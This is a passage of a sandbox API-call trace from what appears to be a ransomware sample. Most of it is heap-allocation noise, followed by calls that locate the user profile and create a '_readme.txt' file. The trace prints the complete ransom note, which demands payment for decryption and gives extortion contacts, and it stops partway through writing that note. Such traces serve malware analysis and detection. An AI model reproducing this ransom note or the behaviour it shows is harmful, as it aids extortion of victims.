hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.692] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.693] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.694] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.695] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.695] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.696] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30421d8 | out: hHeap=0x5c0000) returned 1 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.696] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.697] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038078 [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.697] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.697] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.697] PathFindFileNameW (pszPath="") returned="" [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x30421d8 [0124.697] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.697] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.697] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.697] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.697] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0124.697] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.697] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.697] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0124.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.698] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.698] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9bf0 [0124.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0124.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x910) returned 0x30f90a8 [0124.699] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x882) returned 0x3102258 [0124.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted 